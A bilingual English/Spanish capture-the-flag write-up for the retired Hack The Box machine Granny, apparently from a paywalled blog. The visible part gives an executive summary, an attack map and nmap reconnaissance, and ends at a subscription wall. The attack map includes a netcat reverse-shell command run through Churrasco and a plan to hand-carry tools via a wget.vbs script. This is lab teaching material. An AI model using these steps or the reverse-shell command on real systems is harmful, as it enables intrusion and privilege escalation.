Granny — HTB Writeup | The Hack Sparrow

Executive summary — Granny is Grandpa's sibling: an end-of-life IIS 6.0 with WebDAV enabled is vulnerable to CVE-2017-7269, a stack buffer overflow that gives remote code execution as NETWORK SERVICE with nothing more than a crafted HTTP request. From there, the SeImpersonatePrivilege token held by that service account is abused with Churrasco (MS09-012, token kidnapping) to become NT AUTHORITY\SYSTEM. We solve it with the manual PoC and by hand-carrying every escalation tool onto a machine that has no download utilities of its own. A WebDAV RCE → NETWORK SERVICE → SYSTEM path.

Platform	Hack The Box
Operating system	Windows
Difficulty	Easy
Status	Retired
Target IP	`10.129.12.209`

Attack map

[80] Microsoft IIS 6.0 · WebDAV (PROPFIND/PUT/MOVE/DELETE enabled)
   │  CVE-2017-7269 — WebDAV stack overflow (manual PoC, port 4444)
   ▼
[SHELL]  NT AUTHORITY\NETWORK SERVICE
   │  whoami /priv → SeImpersonatePrivilege: Enabled
   │  build wget.vbs on the victim · serve tools over python http.server:8000
   ▼
[TRANSFER]  nc.exe + churrasco.exe land on C:\temp
   │  listener on 5555 FIRST · churrasco.exe -d "nc.exe -e cmd.exe ..."
   │  MS09-012 Token Kidnapping (Churrasco abuses SeImpersonate)
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM

1. Reconnaissance

We start with a version-detection scan against the target:

nmap -sV -vvv -Pn -oN granny.nmap 10.129.12.209

80/tcp open  http  Microsoft IIS httpd 6.0

A single web port, and an IIS version that's been end-of-life for over a decade. That alone is worth investigating further, so we check exactly which HTTP methods the server accepts:

nmap --script=http-methods -p80 10.129.12.209

http-methods:
  Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE
                      PROPFIND PROPPATCH SEARCH LOCK UNLOCK PUT

Why this matters: PROPFIND, PUT, MOVE and DELETE are not part of a normal static web server — they're the fingerprint of WebDAV, an extension that lets clients create, move and delete files on the server over HTTP. An IIS 6.0 box with WebDAV switched on is a strong, specific signal: it's exactly the combination targeted by CVE-2017-7269.

Resumen ejecutivo — Granny es la hermana de Grandpa: un IIS 6.0 obsoleto con WebDAV habilitado es vulnerable a CVE-2017-7269, un desbordamiento de pila que da ejecución remota de código como NETWORK SERVICE con solo una petición HTTP manipulada. Desde ahí, el privilegio SeImpersonatePrivilege de esa cuenta de servicio se abusa con Churrasco (MS09-012, token kidnapping) para convertirnos en NT AUTHORITY\SYSTEM. Lo resolvemos con la PoC manual y llevando a mano cada herramienta de escalada a una máquina que no tiene ninguna utilidad de descarga propia. Recorrido WebDAV RCE → NETWORK SERVICE → SYSTEM.

Plataforma	Hack The Box
Sistema operativo	Windows
Dificultad	Easy
Estado	Retired
IP objetivo	`10.129.12.209`

Mapa del ataque

[80] Microsoft IIS 6.0 · WebDAV (PROPFIND/PUT/MOVE/DELETE habilitados)
   │  CVE-2017-7269 — desbordamiento de pila en WebDAV (PoC manual, puerto 4444)
   ▼
[SHELL]  NT AUTHORITY\NETWORK SERVICE
   │  whoami /priv → SeImpersonatePrivilege: Enabled
   │  construir wget.vbs en la víctima · servir herramientas con python http.server:8000
   ▼
[TRANSFERENCIA]  nc.exe + churrasco.exe llegan a C:\temp
   │  listener en 5555 PRIMERO · churrasco.exe -d "nc.exe -e cmd.exe ..."
   │  MS09-012 Token Kidnapping (Churrasco abusa de SeImpersonate)
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM

1. Reconocimiento

Empezamos con un escaneo de detección de versiones contra el objetivo:

nmap -sV -vvv -Pn -oN granny.nmap 10.129.12.209

80/tcp open  http  Microsoft IIS httpd 6.0

Un único puerto web, y una versión de IIS que lleva más de una década sin soporte. Eso ya merece investigarse más a fondo, así que comprobamos exactamente qué métodos HTTP acepta el servidor:

nmap --script=http-methods -p80 10.129.12.209

http-methods:
  Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE
                      PROPFIND PROPPATCH SEARCH LOCK UNLOCK PUT

Por qué importa: PROPFIND, PUT, MOVE y DELETE no forman parte de un servidor web estático normal — son la huella de WebDAV, una extensión que permite a los clientes crear, mover y borrar ficheros en el servidor por HTTP. Un IIS 6.0 con WebDAV activo es una señal fuerte y muy concreta: es exactamente la combinación que ataca CVE-2017-7269.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.